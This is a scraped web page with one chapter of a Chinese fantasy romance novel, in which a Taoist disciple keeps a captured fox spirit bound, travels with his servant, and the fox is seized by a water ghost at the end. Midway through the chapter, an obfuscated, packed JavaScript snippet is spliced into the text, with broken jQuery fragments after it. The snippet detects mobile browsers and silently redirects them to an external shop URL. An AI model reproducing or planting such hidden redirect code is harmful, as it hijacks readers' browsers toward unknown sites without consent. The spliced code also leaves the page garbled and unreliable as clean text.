文趣网 > 其他小说 > 被采补对象抓住后 > 10. 芦苇青
    阳光明媚,树依旧青,草依旧绿,枝丫间停着几只小鸟,叽叽喳喳不停唱着歌。

    高松从旁边矮墙下走出来,看了眼余香消失的地方,捂着胸口,心有余悸地问:“公子,现在怎么办?”

    燕吟秋一团黑的脸上看不出表情,说:“行李还在吗?找出来,休息休息准备上路了。”

    高松点点头:“我去拿。”

    又转身离开。

    等人走了,燕吟秋转头看了眼四周废墟,松口气,一屁股坐在地上,靠着身后残柱缓缓闭上眼。

    “小道士。”旁边有人叫。

    他睁开眼,就看到那只红毛狐狸迈着爪子,吧嗒吧嗒走过来。

    “小道士,”她又喊了一遍,表情严肃地站在他身侧,紧盯着他,“你是不是忘了什么?”

    燕吟秋:“什么?”

    宁昭叉腰:“别装傻,我们约定好的,出来之后你要解开我体内禁制,放我离开的!”

    燕吟秋移开目光。

    宁昭立刻紧张起来,陀螺一样跟着他的目光转到另一边:“你不会要食言吧?我们击过掌的。”

    燕吟秋和着血和灰的脸上看不出表情,淡淡瞥她一眼:“我以拳击你掌,不算。”

    什么?!

    宁昭猛地后退一步,爪子抖个不住,指着这人:“你,你、你……你堂堂栖鹤山弟子,怎能说话不算数?”

    燕吟秋皱眉:“你体内……”

    回想起那道萤火一样的清光,他顿了顿,“我可以不追究你欲采补我的事,但你以后得跟着……”

    宁昭转身就跑。

    她跨出废墟直奔山林,四爪如风,周围草木线一般往后掠去。

    一边跑一边骂:“死道士,臭道士,王八蛋,食言而肥,祝你早晚变成大胖子!”

    突然,丹田一热,疼痛袭来。

    迈出去的爪子一软,她倒在地上,眼前金星直冒。正难受着,她整个就被这手镯带着往后拖去。

    很快,又回到原地。

    废墟之中,燕吟秋坐在地上,揪着她脖颈间的软肉,揉了揉眉心:“明知道跑不掉,何苦白费力气?”

    宁昭爪子挠他:“我愿意!”

    燕吟秋单臂张开,将她提远:“我又不杀你。”

    宁昭爪子挥出残影,却始终碰不到人,急得直叫:“我救了你,你杀我就是真正的恩将仇报!”

    燕吟秋:“跟我去栖鹤山,好好修炼,免得误入歧途,不好吗?”

    宁昭:“我这些年一直都在好好修炼,从未入过歧途!”

    “那为何还要采补?”

    “都说了那是不得已,是我师姐一心要拔苗助长。”

    “谁知道你是不是想要我放你而编的说辞?”

    “你强词夺理,言而无信,血口喷人……不对,血口喷狐!”

    “不想被封嘴就安静。”

    “我不,师父,师姐,救命啊啊!!栖鹤山的弟子说话不算数,骗狐狸不眨眼啦——”

    音波阵阵,在林间回荡,惊得周围鸟雀飞散。

    燕吟秋面无表情,指尖上凝一点微光,开口:“闭。”

    魔音顿停,狐狸身子变软,爪子垂下来,静静任他抓在手里。

    耳边终于清净。

    燕吟秋松口气,拂去旁边地上瓦砾碎渣,将狐狸放了下来。狐狸红黑相间,卧在地上,身后尾巴孔雀开屏一样展开。

    “公子,”高松背着行李走过来:“东西都拿好了。”

    燕吟秋点点头,伸手:“之前让你放在身上的网呢?”

    高松立刻将东西拿出来放在他手上。燕吟秋合掌接过,正欲闭眼念咒,就见高松突然‘咦’了一声:“公子,你看这。”

    他又睁眼。

    顺着高松目光看去,红毛狐狸屁股后面,三团毛绒尾巴依次展开,最后一条旁边多了短短一截。

    他皱眉,不是只有三条?

    高松一脸惊奇,摸着下巴啧啧道:“这狐狸精可真奇怪,背后居然生了这么多条尾巴。”

    难道是因为那枝桃花?燕吟秋边想着,边回道:“狐族修炼,狐尾越多修为越高。若得九尾,便能功德圆满飞升成仙。”

    高松道:“这狐狸精才刚有第四条尾巴,有得修呢。”

    燕吟秋轻轻一笑,并未否认。

    他犹豫了一下,还是将网收了起来,揪着狐狸脖颈上的肉放在肩上,边起身边说:“就这样吧。”

    然后抬脚跨出废墟。

    高松连忙跟上。

    一主一仆沿着山道缓缓前行,惊得路边树上一只麻雀扑簌而飞,扇着翅膀掠过蓝天。

    “公子,我们往哪去?”

    “不知道,走到哪算哪”

    “……

    蓝天之上,白云聚了又散。

    云下小河迢迢,沿着地势蜿蜒至群山深处,河面上涟漪微微,倒映着天边晚霞。

    水边浅滩上,青青芦苇才生新芽,一只粗手拨开嫩黄草叶,抓着空瘪的牛皮囊沉进河里,咕咚咕咚。

    水囊很快装满,高松盖上盖子,抹一把头上汗水,起身往河岸边走。

    岸边细柳荫下,火堆静静燃烧,旁边坐着个男人和一只狐狸。

    男人一身月白衣裳,箭袖束腕,长发被一根素簪全部固定在头顶,露出英挺的眉与眼。长腿微屈着,衣摆掩映间被黑色靴筒紧束的小腿肌肉鼓胀起伏,很是惹眼。

    这人自然就是燕吟秋。

    他伸手,将火堆边上烤热的烧饼小心拿起,撕开半边,拿着朝旁边狐狸递过去。

    宁昭哼一声,撇过头:“我要吃鸡。”

    “这荒郊野岭的,有得吃就不错了,”高松挺着大肚走过来,将水囊递给燕吟秋,嘟囔,“还挑三拣四。”

    宁昭:“没有鸡就去抓,这山里哪里没有野鸡?”

    高松撩起衣摆蹲下,捡起火边另一块烧饼,撕下一块塞进嘴里,烫得他差点跳起来。

    他一边嘶哈嘶哈,一边没好气地说:“公子赶了一天的路,哪里有时间去给你抓鸡?”

    宁昭‘蛤’了一声,狐狸脸歪着,爪子指着燕吟秋:“没时间抓鸡,却有时间换衣裳?”

    明明昨天还穿的初见时的那袭青衣。

    “那又如何?”高松昂着头,大声道:“我家公子出身高贵,别说在这路上换件衣裳,换十件又如何?”

    宁昭立时反击:“高贵又如何?现在还不是在这荒郊野岭吃饼子?家里还能有皇位给他继承不成?”

    高松脸都气红了,跳起来:“你这野狐狸,可知我家公子什么身份!”

    燕吟秋抬头看过来。

    宁昭也不甘示弱,后腿直立,前爪叉腰:“是皇帝我都不怕,封建老登,我堂堂一个社会主义接班……”

    说到这里,她突然愣住。

    那边高松却被她的话气得面皮涨红,手里的饼也吃不下去了,喘得跟牛一样,手指着她抖个不停。

    他看一眼自家公子,又看一眼该死的狐狸,突然手一伸,抢过燕吟秋手里那半张饼塞进嘴里。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912494|213179||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    虽噎得白眼直翻,却为自己赢了半招而得意:“哼,饿死你吧。”

    燕吟秋闭了闭眼,又睁开,冷声:“高叔。”

    高松面皮一僵,立刻坐好。

    燕吟秋松口气,又从自己那块饼上撕下半边,给宁昭递过去:“你如今没有法力,不吃东西会饿的。”

    宁昭回神,瞪他一眼:“不用在这里假好心,我现在没有法力,还不是拜你所赐?”

    转身钻进旁边芦苇里。

    一只小鸟飞过来,停在柳树枝上,叽叽喳喳不停叫。

    高松觑着公子脸色,看了眼自己手里剩的半块饼,讪讪道:“公子,还是把我这块留给她吧?”

    “没事。”燕吟秋摇头,“她一个妖怪,没那么容易饿。”

    又说:“她伶牙俐齿,你吵不过她,日后少与她相争。”

    公子还是向着自己的。

    高松立时笑起来,抬手发誓:“老奴知道了,下次任她如何挑衅,再不搭一句话!”

    燕吟秋:“你有分寸就好。”

    撕下大半张饼送进嘴里,高松嚼了几口又担心:“就让她这么走,不会出什么事吧?”

    燕吟秋抬眼,看着那道红色身影:“她走不了多远……”

    隔着一丛芦苇,宁昭坐在河边,望着河水里映着的自己的影子,长长地叹了口气。

    “还社会主义接班人……”她嘟囔着,捡起屁股下的石子扔进河里,“分明就是个阶下囚……”

    ‘噗通——’

    涟漪层层荡开,将水面的狐狸影子搅得粉碎。

    她抖抖屁股,身后三条尾巴倏地展开,孔雀开屏一般,露出中间一团毛茸茸的白圆球。

    小小一个,才不过一指长。

    虽然法力被禁锢,但那根桃枝化作的黄光钻进额头后,还是跟着筋脉游进了丹田,化作修为的一部分,让宁昭长出了第四尾。

    这样的东西,进了身体也不知道是福是祸。

    叹口气,她收回尾巴。

    ‘咕噜噜’,一阵巨响。

    宁昭低头看看肚子,眉毛耷拉下来:“不是吧,这才几天啊,你就受不了了?”

    回答她的,是一声更响亮的腹鸣。

    “啊——”宁昭哀嚎一声,摊开四肢仰天躺下,后爪点在水面上,带起一串串涟漪,“这样的日子,什么时候是个头啊——”

    从白云观出来,已经三天。

    这三天里,因为丹田里的禁锢,无论她已经走了多远,只要燕吟秋心念一动,就会自动飞回去。

    没有法术,她打不开回狐庄的门,求救的信号也发不出。

    本以为回不去已经够绝望了,现在肚子也填不饱。

    唉,师姐啊,你到底回去了没有?到底什么时候才能发现她不见了?到底什么时候才能找过来?

    叹一口气,她抱着肚子,看着天上飞鸟,脑子里全是能吃的鸟:“烤鸡、炸鸡、黄焖鸡……好饿……”

    正呢喃着,点在水上的后爪突然一凉,像是被什么东西抓住,黏腻阴凉,像河底沉积的淤泥。

    她惊得一跳,起身低头,正对上一张青白的脸。

    脸的主人沉在水里,脸皮肿胀脱落大半,眼眶黑洞洞的不见眼珠,只有蛆虫不停扭动。

    它只剩白骨的手握住宁昭后爪,对上她目光后,嘴巴一咧,扯出抹阴森森的笑容来。

    周身河水迅速变冷,河底淤泥腥气翻涌上来。

    ——这是只水鬼!!

    宁昭:“救命——”